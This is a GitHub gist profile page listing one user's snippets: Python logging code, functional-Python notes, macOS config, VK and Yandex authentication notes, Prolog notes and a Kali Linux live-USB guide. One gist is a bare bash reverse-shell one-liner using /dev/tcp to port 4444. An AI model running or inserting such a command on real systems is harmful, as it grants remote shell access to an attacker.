Skip to content

Instantly share code, notes, and snippets.

View lisp3r's full-sized avatar

lisp3r lisp3r

View GitHub Profile
import logging
class OwOFormatter(logging.Formatter):
def __init__(self):
super().__init__(fmt="%(levelno)d: %(msg)s", datefmt=None, style='%')
self.info_fmt = "[^w^] %(msg)s"
self.err_fmt = "[UwU] %(msg)s"
self.warn_fmt = "[OwO] %(msg)s"
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
@lisp3r
lisp3r / Logging setup
Created September 1, 2020 15:00
logger.py
import os
import sys
import logging
from logging.handlers import RotatingFileHandler
CONFIG = {
'path': 'logs',
'max_bytes': 1024,
'backup_count': 10
}
@lisp3r
lisp3r / functional_python.md
Created February 26, 2020 06:14
Notes about functions, closures and decorators in Python

Functional Python

Function in function

def inc(x):
    return x + 1

def dec(x):
    return x - 1

def operate(func, x):

Dump a .plist file to stdout:

plutil -convert xml1 -o - filename.plist

@lisp3r
lisp3r / disablescreensaver.mobileconfig
Last active August 10, 2019 19:34
Disable Screensaver
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDisplayName</key>
<string>Security &amp; Privacy</string>
<key>PayloadEnabled</key>

Процедура аутентификации в VK с получением токена для веб-приложения

Осуществляем описанную в [документации][vk] процедуру без редиректа пользователя в браузер.

Нам понадобится:

  • client_id=ID - ID приложения
  • login=LOGIN - логин пользователя
  • passwd=PASS - пароль пользователя
  • user_id=USR - ID пользователя
  • scopes=SCOPES - разрешения (мои разрешения: scope=notify,friends,photos,audio,video,stories,pages,status,wall,notes,messages,docs,groups,offline)

Термы

Термы - все объекты Пролога (5 видов).

  • Простые термы: переменные, константы (атомы, числа)

  • Составные термы: списки, структуры

  1. Атом - текстовая константа. Имя начинается с маленькой буквы и может содержать буквы, цифры, подчеркивание. Тип данных - символьный.
func main() {
	// 1. Инициализируем куки
	_url, err := url.Parse("https://oauth.yandex.ru/authorize?response_type=token&client_id=712bab09cb564e848cbb6418c4d875f2")

	jar, err := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})
	client := &http.Client{
		Jar: jar,
	}
@lisp3r
lisp3r / kali_osx_persistence_wifi.md
Created January 13, 2019 13:47 — forked from widdowquinn/kali_osx_persistence_wifi.md
Kali Linux Live USB with persistence and wireless on Macbook Pro

Kali Linux Bootable USB with Persistence and Wireless on OSX

Download the appropriate Kali Linux .iso

I used a 64 bit .iso image, downloaded via HTTP. I downloaded the amd64 weekly version, as the pool linux headers (needed below for installation of wireless drivers) were ahead of the stable release kernel.

Download the SHA256SUMS and SHA256SUMS.gpg files from the same location.